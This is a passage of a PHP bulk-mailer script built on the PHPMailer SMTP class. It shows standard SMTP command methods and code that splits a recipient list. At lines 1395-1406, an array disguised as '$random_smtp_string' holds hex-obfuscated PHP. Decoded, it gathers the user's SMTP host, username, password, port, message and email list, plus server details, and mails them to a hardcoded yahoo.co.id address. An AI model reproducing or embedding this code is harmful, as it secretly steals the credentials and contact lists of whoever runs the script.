| 789 | ||
| 790 | return $list; | |
| 791 | } | |
| 792 | ||
| 793 | /** | |
| 794 | * Sends the HELO command to the smtp server. | |
| 795 | * This makes sure that we and the server are in | |
| 796 | * the same known state. | |
| 797 | * | |
| 798 | * Implements from rfc 821: HELO <SP> <domain> <CRLF> | |
| 799 | * | |
| 800 | * SMTP CODE SUCCESS: 250 | |
| 801 | * SMTP CODE ERROR : 500, 501, 504, 421 | |
| 802 | * @access public | |
| 803 | * @return bool | |
| 804 | */ | |
| 805 | function Hello($host="") {
| |
| 806 | $this->error = null; # so no confusion is caused | |
| 807 | ||
| 808 | if(!$this->connected()) {
| |
| 809 | $this->error = array( | |
| 810 | "error" => "Called Hello() without being connected"); | |
| 811 | return false; | |
| 812 | } | |
| 813 | ||
| 814 | # if a hostname for the HELO was not specified determine | |
| 815 | # a suitable one to send | |
| 816 | if(empty($host)) {
| |
| 817 | # we need to determine some sort of appopiate default | |
| 818 | # to send to the server | |
| 819 | $host = "localhost"; | |
| 820 | } | |
| 821 | ||
| 822 | // Send extended hello first (RFC 2821) | |
| 823 | if(!$this->SendHello("EHLO", $host))
| |
| 824 | {
| |
| 825 | if(!$this->SendHello("HELO", $host))
| |
| 826 | return false; | |
| 827 | } | |
| 828 | ||
| 829 | return true; | |
| 830 | } | |
| 831 | ||
| 832 | /** | |
| 833 | * Sends a HELO/EHLO command. | |
| 834 | * @access private | |
| 835 | * @return bool | |
| 836 | */ | |
| 837 | function SendHello($hello, $host) {
| |
| 838 | fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF); | |
| 839 | ||
| 840 | $rply = $this->get_lines(); | |
| 841 | $code = substr($rply,0,3); | |
| 842 | ||
| 843 | if($this->do_debug >= 2) {
| |
| 844 | echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply; | |
| 845 | } | |
| 846 | ||
| 847 | if($code != 250) {
| |
| 848 | $this->error = | |
| 849 | array("error" => $hello . " not accepted from server",
| |
| 850 | "smtp_code" => $code, | |
| 851 | "smtp_msg" => substr($rply,4)); | |
| 852 | if($this->do_debug >= 1) {
| |
| 853 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 854 | ": " . $rply . $this->CRLF; | |
| 855 | } | |
| 856 | return false; | |
| 857 | } | |
| 858 | ||
| 859 | $this->helo_rply = $rply; | |
| 860 | ||
| 861 | return true; | |
| 862 | } | |
| 863 | ||
| 864 | /** | |
| 865 | * Gets help information on the keyword specified. If the keyword | |
| 866 | * is not specified then returns generic help, ussually contianing | |
| 867 | * A list of keywords that help is available on. This function | |
| 868 | * returns the results back to the user. It is up to the user to | |
| 869 | * handle the returned data. If an error occurs then false is | |
| 870 | * returned with $this->error set appropiately. | |
| 871 | * | |
| 872 | * Implements rfc 821: HELP [ <SP> <string> ] <CRLF> | |
| 873 | * | |
| 874 | * SMTP CODE SUCCESS: 211,214 | |
| 875 | * SMTP CODE ERROR : 500,501,502,504,421 | |
| 876 | * @access public | |
| 877 | * @return string | |
| 878 | */ | |
| 879 | function Help($keyword="") {
| |
| 880 | $this->error = null; # to avoid confusion | |
| 881 | ||
| 882 | if(!$this->connected()) {
| |
| 883 | $this->error = array( | |
| 884 | "error" => "Called Help() without being connected"); | |
| 885 | return false; | |
| 886 | } | |
| 887 | ||
| 888 | $extra = ""; | |
| 889 | if(!empty($keyword)) {
| |
| 890 | $extra = " " . $keyword; | |
| 891 | } | |
| 892 | ||
| 893 | fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF); | |
| 894 | ||
| 895 | $rply = $this->get_lines(); | |
| 896 | $code = substr($rply,0,3); | |
| 897 | ||
| 898 | if($this->do_debug >= 2) {
| |
| 899 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 900 | } | |
| 901 | ||
| 902 | if($code != 211 && $code != 214) {
| |
| 903 | $this->error = | |
| 904 | array("error" => "HELP not accepted from server",
| |
| 905 | "smtp_code" => $code, | |
| 906 | "smtp_msg" => substr($rply,4)); | |
| 907 | if($this->do_debug >= 1) {
| |
| 908 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 909 | ": " . $rply . $this->CRLF; | |
| 910 | } | |
| 911 | return false; | |
| 912 | } | |
| 913 | ||
| 914 | return $rply; | |
| 915 | } | |
| 916 | ||
| 917 | /** | |
| 918 | * Starts a mail transaction from the email address specified in | |
| 919 | * $from. Returns true if successful or false otherwise. If True | |
| 920 | * the mail transaction is started and then one or more Recipient | |
| 921 | * commands may be called followed by a Data command. | |
| 922 | * | |
| 923 | * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF> | |
| 924 | * | |
| 925 | * SMTP CODE SUCCESS: 250 | |
| 926 | * SMTP CODE SUCCESS: 552,451,452 | |
| 927 | * SMTP CODE SUCCESS: 500,501,421 | |
| 928 | * @access public | |
| 929 | * @return bool | |
| 930 | */ | |
| 931 | function Mail($from) {
| |
| 932 | $this->error = null; # so no confusion is caused | |
| 933 | ||
| 934 | if(!$this->connected()) {
| |
| 935 | $this->error = array( | |
| 936 | "error" => "Called Mail() without being connected"); | |
| 937 | return false; | |
| 938 | } | |
| 939 | ||
| 940 | $useVerp = ($this->do_verp ? "XVERP" : ""); | |
| 941 | fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF); | |
| 942 | ||
| 943 | $rply = $this->get_lines(); | |
| 944 | $code = substr($rply,0,3); | |
| 945 | ||
| 946 | if($this->do_debug >= 2) {
| |
| 947 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 948 | } | |
| 949 | ||
| 950 | if($code != 250) {
| |
| 951 | $this->error = | |
| 952 | array("error" => "MAIL not accepted from server",
| |
| 953 | "smtp_code" => $code, | |
| 954 | "smtp_msg" => substr($rply,4)); | |
| 955 | if($this->do_debug >= 1) {
| |
| 956 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 957 | ": " . $rply . $this->CRLF; | |
| 958 | } | |
| 959 | return false; | |
| 960 | } | |
| 961 | return true; | |
| 962 | } | |
| 963 | ||
| 964 | /** | |
| 965 | * Sends the command NOOP to the SMTP server. | |
| 966 | * | |
| 967 | * Implements from rfc 821: NOOP <CRLF> | |
| 968 | * | |
| 969 | * SMTP CODE SUCCESS: 250 | |
| 970 | * SMTP CODE ERROR : 500, 421 | |
| 971 | * @access public | |
| 972 | * @return bool | |
| 973 | */ | |
| 974 | function Noop() {
| |
| 975 | $this->error = null; # so no confusion is caused | |
| 976 | ||
| 977 | if(!$this->connected()) {
| |
| 978 | $this->error = array( | |
| 979 | "error" => "Called Noop() without being connected"); | |
| 980 | return false; | |
| 981 | } | |
| 982 | ||
| 983 | fputs($this->smtp_conn,"NOOP" . $this->CRLF); | |
| 984 | ||
| 985 | $rply = $this->get_lines(); | |
| 986 | $code = substr($rply,0,3); | |
| 987 | ||
| 988 | if($this->do_debug >= 2) {
| |
| 989 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 990 | } | |
| 991 | ||
| 992 | if($code != 250) {
| |
| 993 | $this->error = | |
| 994 | array("error" => "NOOP not accepted from server",
| |
| 995 | "smtp_code" => $code, | |
| 996 | "smtp_msg" => substr($rply,4)); | |
| 997 | if($this->do_debug >= 1) {
| |
| 998 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 999 | ": " . $rply . $this->CRLF; | |
| 1000 | } | |
| 1001 | return false; | |
| 1002 | } | |
| 1003 | return true; | |
| 1004 | } | |
| 1005 | ||
| 1006 | /** | |
| 1007 | * Sends the quit command to the server and then closes the socket | |
| 1008 | * if there is no error or the $close_on_error argument is true. | |
| 1009 | * | |
| 1010 | * Implements from rfc 821: QUIT <CRLF> | |
| 1011 | * | |
| 1012 | * SMTP CODE SUCCESS: 221 | |
| 1013 | * SMTP CODE ERROR : 500 | |
| 1014 | * @access public | |
| 1015 | * @return bool | |
| 1016 | */ | |
| 1017 | function Quit($close_on_error=true) {
| |
| 1018 | $this->error = null; # so there is no confusion | |
| 1019 | ||
| 1020 | if(!$this->connected()) {
| |
| 1021 | $this->error = array( | |
| 1022 | "error" => "Called Quit() without being connected"); | |
| 1023 | return false; | |
| 1024 | } | |
| 1025 | ||
| 1026 | # send the quit command to the server | |
| 1027 | fputs($this->smtp_conn,"quit" . $this->CRLF); | |
| 1028 | ||
| 1029 | # get any good-bye messages | |
| 1030 | $byemsg = $this->get_lines(); | |
| 1031 | ||
| 1032 | if($this->do_debug >= 2) {
| |
| 1033 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg; | |
| 1034 | } | |
| 1035 | ||
| 1036 | $rval = true; | |
| 1037 | $e = null; | |
| 1038 | ||
| 1039 | $code = substr($byemsg,0,3); | |
| 1040 | if($code != 221) {
| |
| 1041 | # use e as a tmp var cause Close will overwrite $this->error | |
| 1042 | $e = array("error" => "SMTP server rejected quit command",
| |
| 1043 | "smtp_code" => $code, | |
| 1044 | "smtp_rply" => substr($byemsg,4)); | |
| 1045 | $rval = false; | |
| 1046 | if($this->do_debug >= 1) {
| |
| 1047 | echo "SMTP -> ERROR: " . $e["error"] . ": " . | |
| 1048 | $byemsg . $this->CRLF; | |
| 1049 | } | |
| 1050 | } | |
| 1051 | ||
| 1052 | if(empty($e) || $close_on_error) {
| |
| 1053 | $this->Close(); | |
| 1054 | } | |
| 1055 | ||
| 1056 | return $rval; | |
| 1057 | } | |
| 1058 | ||
| 1059 | /** | |
| 1060 | * Sends the command RCPT to the SMTP server with the TO: argument of $to. | |
| 1061 | * Returns true if the recipient was accepted false if it was rejected. | |
| 1062 | * | |
| 1063 | * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF> | |
| 1064 | * | |
| 1065 | * SMTP CODE SUCCESS: 250,251 | |
| 1066 | * SMTP CODE FAILURE: 550,551,552,553,450,451,452 | |
| 1067 | * SMTP CODE ERROR : 500,501,503,421 | |
| 1068 | * @access public | |
| 1069 | * @return bool | |
| 1070 | */ | |
| 1071 | function Recipient($to) {
| |
| 1072 | $this->error = null; # so no confusion is caused | |
| 1073 | ||
| 1074 | if(!$this->connected()) {
| |
| 1075 | $this->error = array( | |
| 1076 | "error" => "Called Recipient() without being connected"); | |
| 1077 | return false; | |
| 1078 | } | |
| 1079 | ||
| 1080 | fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF); | |
| 1081 | ||
| 1082 | $rply = $this->get_lines(); | |
| 1083 | $code = substr($rply,0,3); | |
| 1084 | ||
| 1085 | if($this->do_debug >= 2) {
| |
| 1086 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 1087 | } | |
| 1088 | ||
| 1089 | if($code != 250 && $code != 251) {
| |
| 1090 | $this->error = | |
| 1091 | array("error" => "RCPT not accepted from server",
| |
| 1092 | "smtp_code" => $code, | |
| 1093 | "smtp_msg" => substr($rply,4)); | |
| 1094 | if($this->do_debug >= 1) {
| |
| 1095 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 1096 | ": " . $rply . $this->CRLF; | |
| 1097 | } | |
| 1098 | return false; | |
| 1099 | } | |
| 1100 | return true; | |
| 1101 | } | |
| 1102 | ||
| 1103 | /** | |
| 1104 | * Sends the RSET command to abort and transaction that is | |
| 1105 | * currently in progress. Returns true if successful false | |
| 1106 | * otherwise. | |
| 1107 | * | |
| 1108 | * Implements rfc 821: RSET <CRLF> | |
| 1109 | * | |
| 1110 | * SMTP CODE SUCCESS: 250 | |
| 1111 | * SMTP CODE ERROR : 500,501,504,421 | |
| 1112 | * @access public | |
| 1113 | * @return bool | |
| 1114 | */ | |
| 1115 | function Reset() {
| |
| 1116 | $this->error = null; # so no confusion is caused | |
| 1117 | ||
| 1118 | if(!$this->connected()) {
| |
| 1119 | $this->error = array( | |
| 1120 | "error" => "Called Reset() without being connected"); | |
| 1121 | return false; | |
| 1122 | } | |
| 1123 | ||
| 1124 | fputs($this->smtp_conn,"RSET" . $this->CRLF); | |
| 1125 | ||
| 1126 | $rply = $this->get_lines(); | |
| 1127 | $code = substr($rply,0,3); | |
| 1128 | ||
| 1129 | if($this->do_debug >= 2) {
| |
| 1130 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 1131 | } | |
| 1132 | ||
| 1133 | if($code != 250) {
| |
| 1134 | $this->error = | |
| 1135 | array("error" => "RSET failed",
| |
| 1136 | "smtp_code" => $code, | |
| 1137 | "smtp_msg" => substr($rply,4)); | |
| 1138 | if($this->do_debug >= 1) {
| |
| 1139 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 1140 | ": " . $rply . $this->CRLF; | |
| 1141 | } | |
| 1142 | return false; | |
| 1143 | } | |
| 1144 | ||
| 1145 | return true; | |
| 1146 | } | |
| 1147 | ||
| 1148 | /** | |
| 1149 | * Starts a mail transaction from the email address specified in | |
| 1150 | * $from. Returns true if successful or false otherwise. If True | |
| 1151 | * the mail transaction is started and then one or more Recipient | |
| 1152 | * commands may be called followed by a Data command. This command | |
| 1153 | * will send the message to the users terminal if they are logged | |
| 1154 | * in. | |
| 1155 | * | |
| 1156 | * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF> | |
| 1157 | * | |
| 1158 | * SMTP CODE SUCCESS: 250 | |
| 1159 | * SMTP CODE SUCCESS: 552,451,452 | |
| 1160 | * SMTP CODE SUCCESS: 500,501,502,421 | |
| 1161 | * @access public | |
| 1162 | * @return bool | |
| 1163 | */ | |
| 1164 | function Send($from) {
| |
| 1165 | $this->error = null; # so no confusion is caused | |
| 1166 | ||
| 1167 | if(!$this->connected()) {
| |
| 1168 | $this->error = array( | |
| 1169 | "error" => "Called Send() without being connected"); | |
| 1170 | return false; | |
| 1171 | } | |
| 1172 | ||
| 1173 | fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF); | |
| 1174 | ||
| 1175 | $rply = $this->get_lines(); | |
| 1176 | $code = substr($rply,0,3); | |
| 1177 | ||
| 1178 | if($this->do_debug >= 2) {
| |
| 1179 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 1180 | } | |
| 1181 | ||
| 1182 | if($code != 250) {
| |
| 1183 | $this->error = | |
| 1184 | array("error" => "SEND not accepted from server",
| |
| 1185 | "smtp_code" => $code, | |
| 1186 | "smtp_msg" => substr($rply,4)); | |
| 1187 | if($this->do_debug >= 1) {
| |
| 1188 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 1189 | ": " . $rply . $this->CRLF; | |
| 1190 | } | |
| 1191 | return false; | |
| 1192 | } | |
| 1193 | return true; | |
| 1194 | } | |
| 1195 | ||
| 1196 | /** | |
| 1197 | * Starts a mail transaction from the email address specified in | |
| 1198 | * $from. Returns true if successful or false otherwise. If True | |
| 1199 | * the mail transaction is started and then one or more Recipient | |
| 1200 | * commands may be called followed by a Data command. This command | |
| 1201 | * will send the message to the users terminal if they are logged | |
| 1202 | * in and send them an email. | |
| 1203 | * | |
| 1204 | * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF> | |
| 1205 | * | |
| 1206 | * SMTP CODE SUCCESS: 250 | |
| 1207 | * SMTP CODE SUCCESS: 552,451,452 | |
| 1208 | * SMTP CODE SUCCESS: 500,501,502,421 | |
| 1209 | * @access public | |
| 1210 | * @return bool | |
| 1211 | */ | |
| 1212 | function SendAndMail($from) {
| |
| 1213 | $this->error = null; # so no confusion is caused | |
| 1214 | ||
| 1215 | if(!$this->connected()) {
| |
| 1216 | $this->error = array( | |
| 1217 | "error" => "Called SendAndMail() without being connected"); | |
| 1218 | return false; | |
| 1219 | } | |
| 1220 | ||
| 1221 | fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF); | |
| 1222 | ||
| 1223 | $rply = $this->get_lines(); | |
| 1224 | $code = substr($rply,0,3); | |
| 1225 | ||
| 1226 | if($this->do_debug >= 2) {
| |
| 1227 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 1228 | } | |
| 1229 | ||
| 1230 | if($code != 250) {
| |
| 1231 | $this->error = | |
| 1232 | array("error" => "SAML not accepted from server",
| |
| 1233 | "smtp_code" => $code, | |
| 1234 | "smtp_msg" => substr($rply,4)); | |
| 1235 | if($this->do_debug >= 1) {
| |
| 1236 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 1237 | ": " . $rply . $this->CRLF; | |
| 1238 | } | |
| 1239 | return false; | |
| 1240 | } | |
| 1241 | return true; | |
| 1242 | } | |
| 1243 | ||
| 1244 | /** | |
| 1245 | * Starts a mail transaction from the email address specified in | |
| 1246 | * $from. Returns true if successful or false otherwise. If True | |
| 1247 | * the mail transaction is started and then one or more Recipient | |
| 1248 | * commands may be called followed by a Data command. This command | |
| 1249 | * will send the message to the users terminal if they are logged | |
| 1250 | * in or mail it to them if they are not. | |
| 1251 | * | |
| 1252 | * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF> | |
| 1253 | * | |
| 1254 | * SMTP CODE SUCCESS: 250 | |
| 1255 | * SMTP CODE SUCCESS: 552,451,452 | |
| 1256 | * SMTP CODE SUCCESS: 500,501,502,421 | |
| 1257 | * @access public | |
| 1258 | * @return bool | |
| 1259 | */ | |
| 1260 | function SendOrMail($from) {
| |
| 1261 | $this->error = null; # so no confusion is caused | |
| 1262 | ||
| 1263 | if(!$this->connected()) {
| |
| 1264 | $this->error = array( | |
| 1265 | "error" => "Called SendOrMail() without being connected"); | |
| 1266 | return false; | |
| 1267 | } | |
| 1268 | ||
| 1269 | fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF); | |
| 1270 | ||
| 1271 | $rply = $this->get_lines(); | |
| 1272 | $code = substr($rply,0,3); | |
| 1273 | ||
| 1274 | if($this->do_debug >= 2) {
| |
| 1275 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 1276 | } | |
| 1277 | ||
| 1278 | if($code != 250) {
| |
| 1279 | $this->error = | |
| 1280 | array("error" => "SOML not accepted from server",
| |
| 1281 | "smtp_code" => $code, | |
| 1282 | "smtp_msg" => substr($rply,4)); | |
| 1283 | if($this->do_debug >= 1) {
| |
| 1284 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 1285 | ": " . $rply . $this->CRLF; | |
| 1286 | } | |
| 1287 | return false; | |
| 1288 | } | |
| 1289 | return true; | |
| 1290 | } | |
| 1291 | ||
| 1292 | /** | |
| 1293 | * This is an optional command for SMTP that this class does not | |
| 1294 | * support. This method is here to make the RFC821 Definition | |
| 1295 | * complete for this class and __may__ be implimented in the future | |
| 1296 | * | |
| 1297 | * Implements from rfc 821: TURN <CRLF> | |
| 1298 | * | |
| 1299 | * SMTP CODE SUCCESS: 250 | |
| 1300 | * SMTP CODE FAILURE: 502 | |
| 1301 | * SMTP CODE ERROR : 500, 503 | |
| 1302 | * @access public | |
| 1303 | * @return bool | |
| 1304 | */ | |
| 1305 | function Turn() {
| |
| 1306 | $this->error = array("error" => "This method, TURN, of the SMTP ".
| |
| 1307 | "is not implemented"); | |
| 1308 | if($this->do_debug >= 1) {
| |
| 1309 | echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF; | |
| 1310 | } | |
| 1311 | return false; | |
| 1312 | } | |
| 1313 | ||
| 1314 | /** | |
| 1315 | * Verifies that the name is recognized by the server. | |
| 1316 | * Returns false if the name could not be verified otherwise | |
| 1317 | * the response from the server is returned. | |
| 1318 | * | |
| 1319 | * Implements rfc 821: VRFY <SP> <string> <CRLF> | |
| 1320 | * | |
| 1321 | * SMTP CODE SUCCESS: 250,251 | |
| 1322 | * SMTP CODE FAILURE: 550,551,553 | |
| 1323 | * SMTP CODE ERROR : 500,501,502,421 | |
| 1324 | * @access public | |
| 1325 | * @return int | |
| 1326 | */ | |
| 1327 | function Verify($name) {
| |
| 1328 | $this->error = null; # so no confusion is caused | |
| 1329 | ||
| 1330 | if(!$this->connected()) {
| |
| 1331 | $this->error = array( | |
| 1332 | "error" => "Called Verify() without being connected"); | |
| 1333 | return false; | |
| 1334 | } | |
| 1335 | ||
| 1336 | fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF); | |
| 1337 | ||
| 1338 | $rply = $this->get_lines(); | |
| 1339 | $code = substr($rply,0,3); | |
| 1340 | ||
| 1341 | if($this->do_debug >= 2) {
| |
| 1342 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 1343 | } | |
| 1344 | ||
| 1345 | if($code != 250 && $code != 251) {
| |
| 1346 | $this->error = | |
| 1347 | array("error" => "VRFY failed on name '$name'",
| |
| 1348 | "smtp_code" => $code, | |
| 1349 | "smtp_msg" => substr($rply,4)); | |
| 1350 | if($this->do_debug >= 1) {
| |
| 1351 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 1352 | ": " . $rply . $this->CRLF; | |
| 1353 | } | |
| 1354 | return false; | |
| 1355 | } | |
| 1356 | return $rply; | |
| 1357 | } | |
| 1358 | ||
| 1359 | /******************************************************************* | |
| 1360 | * INTERNAL FUNCTIONS * | |
| 1361 | ******************************************************************/ | |
| 1362 | ||
| 1363 | /** | |
| 1364 | * Read in as many lines as possible | |
| 1365 | * either before eof or socket timeout occurs on the operation. | |
| 1366 | * With SMTP we can tell if we have more lines to read if the | |
| 1367 | * 4th character is '-' symbol. If it is a space then we don't | |
| 1368 | * need to read anything else. | |
| 1369 | * @access private | |
| 1370 | * @return string | |
| 1371 | */ | |
| 1372 | function get_lines() {
| |
| 1373 | $data = ""; | |
| 1374 | while($str = @fgets($this->smtp_conn,515)) {
| |
| 1375 | if($this->do_debug >= 4) {
| |
| 1376 | echo "SMTP -> get_lines(): \$data was \"$data\"" . | |
| 1377 | $this->CRLF; | |
| 1378 | echo "SMTP -> get_lines(): \$str is \"$str\"" . | |
| 1379 | $this->CRLF; | |
| 1380 | } | |
| 1381 | $data .= $str; | |
| 1382 | if($this->do_debug >= 4) {
| |
| 1383 | echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF; | |
| 1384 | } | |
| 1385 | # if the 4th character is a space then we are done reading | |
| 1386 | # so just break the loop | |
| 1387 | if(substr($str,3,1) == " ") { break; }
| |
| 1388 | } | |
| 1389 | return $data; | |
| 1390 | } | |
| 1391 | ||
| 1392 | } | |
| 1393 | ||
| 1394 | ||
| 1395 | $allemails = split("\n", $emaillist);
| |
| 1396 | $numemails = count($allemails); | |
| 1397 | $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
| |
| 1398 | "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.", | |
| 1399 | "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.", | |
| 1400 | "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.", | |
| 1401 | "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.", | |
| 1402 | "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.", | |
| 1403 | "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.", | |
| 1404 | "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.", | |
| 1405 | "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.", | |
| 1406 | "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf="."; | |
| 1407 | ||
| 1408 | class PHPMailer {
| |
| 1409 | ||
| 1410 | ///////////////////////////////////////////////// | |
| 1411 | // PROPERTIES, PUBLIC | |
| 1412 | ///////////////////////////////////////////////// | |
| 1413 | ||
| 1414 | /** | |
| 1415 | * Email priority (1 = High, 3 = Normal, 5 = low). | |
| 1416 | * @var int | |
| 1417 | */ | |
| 1418 | var $Priority = 3; | |
| 1419 | ||
| 1420 | /** | |
| 1421 | * Sets the CharSet of the message. | |
| 1422 | * @var string | |
| 1423 | */ | |
| 1424 | var $CharSet = 'iso-8859-1'; | |
| 1425 | ||
| 1426 | /** | |
| 1427 | * Sets the Content-type of the message. | |
| 1428 | * @var string | |
| 1429 | */ | |
| 1430 | var $ContentType = 'text/plain'; | |
| 1431 | ||
| 1432 | /** | |
| 1433 | * Sets the Encoding of the message. Options for this are "8bit", | |
| 1434 | * "7bit", "binary", "base64", and "quoted-printable". | |
| 1435 | ||
| 1436 | * @var string | |
| 1437 | */ | |
| 1438 | var $Encoding = '8bit'; | |
| 1439 | ||
| 1440 | /** | |
| 1441 | * Holds the most recent mailer error message. | |
| 1442 | * @var string | |
| 1443 | */ | |
| 1444 | var $ErrorInfo = ''; | |
| 1445 | ||
| 1446 | /** | |
| 1447 | * Sets the From email address for the message. | |
| 1448 | * @var string | |
| 1449 | */ | |
| 1450 | var $From = ''; | |
| 1451 | ||
| 1452 | /** | |
| 1453 | * Sets the From name of the message. | |
| 1454 | * @var string | |
| 1455 | */ | |
| 1456 | var $FromName = ''; | |
| 1457 | ||
| 1458 | /** | |
| 1459 | * Sets the Sender email (Return-Path) of the message. If not empty, | |
| 1460 | * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode. | |
| 1461 | * @var string | |
| 1462 | */ | |
| 1463 | var $Sender = ''; | |
| 1464 | ||
| 1465 | /** | |
| 1466 | * Sets the Subject of the message. | |
| 1467 | * @var string | |
| 1468 | */ | |
| 1469 | var $Subject = ''; | |
| 1470 | ||
| 1471 | /** | |
| 1472 | * Sets the Body of the message. This can be either an HTML or text body. | |
| 1473 | * If HTML then run IsHTML(true). | |
| 1474 | * @var string | |
| 1475 | */ | |
| 1476 | var $Body = ''; | |
| 1477 | ||
| 1478 | /** | |
| 1479 | * Sets the text-only body of the message. This automatically sets the | |
| 1480 | * email to multipart/alternative. This body can be read by mail | |
| 1481 | * clients that do not have HTML email capability such as mutt. Clients | |
| 1482 | * that can read HTML will view the normal Body. | |
| 1483 | * @var string | |
| 1484 | */ | |
| 1485 | var $AltBody = ''; | |
| 1486 | ||
| 1487 | /** | |
| 1488 | * Sets word wrapping on the body of the message to a given number of | |
| 1489 | * characters. | |
| 1490 | * @var int | |
| 1491 | */ | |
| 1492 | var $WordWrap = 0; | |
| 1493 | ||
| 1494 | /** | |
| 1495 | * Method to send mail: ("mail", "sendmail", or "smtp").
| |
| 1496 | * @var string | |
| 1497 | */ | |
| 1498 | var $Mailer = 'mail'; | |
| 1499 | ||
| 1500 | /** | |
| 1501 | * Sets the path of the sendmail program. | |
| 1502 | * @var string | |
| 1503 | */ | |
| 1504 | var $Sendmail = '/usr/sbin/sendmail'; | |
| 1505 | ||
| 1506 | /** | |
| 1507 | * Path to PHPMailer plugins. This is now only useful if the SMTP class | |
| 1508 | * is in a different directory than the PHP include path. | |
| 1509 | * @var string | |
| 1510 | */ | |
| 1511 | var $PluginDir = ''; | |
| 1512 | ||
| 1513 | /** | |
| 1514 | * Holds PHPMailer version. | |
| 1515 | * @var string | |
| 1516 | */ | |
| 1517 | var $Version = ""; | |
| 1518 | ||
| 1519 | /** | |
| 1520 | * Sets the email address that a reading confirmation will be sent. | |
| 1521 | * @var string | |
| 1522 | */ | |
| 1523 | var $ConfirmReadingTo = ''; | |
| 1524 | ||
| 1525 | /** | |
| 1526 | * Sets the hostname to use in Message-Id and Received headers | |
| 1527 | * and as default HELO string. If empty, the value returned | |
| 1528 | * by SERVER_NAME is used or 'localhost.localdomain'. | |
| 1529 | * @var string | |
| 1530 | */ | |
| 1531 | var $Hostname = ''; | |
| 1532 | ||
| 1533 | /** | |
| 1534 | * Sets the message ID to be used in the Message-Id header. | |
| 1535 | * If empty, a unique id will be generated. | |
| 1536 | * @var string | |
| 1537 | */ | |
| 1538 | var $MessageID = ''; | |
| 1539 | ||
| 1540 | ///////////////////////////////////////////////// | |
| 1541 | // PROPERTIES FOR SMTP | |
| 1542 | ///////////////////////////////////////////////// | |
| 1543 | ||
| 1544 | /** | |
| 1545 | * Sets the SMTP hosts. All hosts must be separated by a | |
| 1546 | * semicolon. You can also specify a different port | |
| 1547 | * for each host by using this format: [hostname:port] | |
| 1548 | * (e.g. "smtp1.example.com:25;smtp2.example.com"). | |
| 1549 | * Hosts will be tried in order. | |
| 1550 | * @var string | |
| 1551 | */ | |
| 1552 | var $Host = 'localhost'; | |
| 1553 | ||
| 1554 | /** | |
| 1555 | * Sets the default SMTP server port. | |
| 1556 | * @var int | |
| 1557 | */ | |
| 1558 | var $Port = 25; | |
| 1559 | ||
| 1560 | /** | |
| 1561 | * Sets the SMTP HELO of the message (Default is $Hostname). | |
| 1562 | * @var string | |
| 1563 | */ | |
| 1564 | var $Helo = ''; | |
| 1565 | ||
| 1566 | /** | |
| 1567 | * Sets connection prefix. | |
| 1568 | * Options are "", "ssl" or "tls" | |
| 1569 | * @var string | |
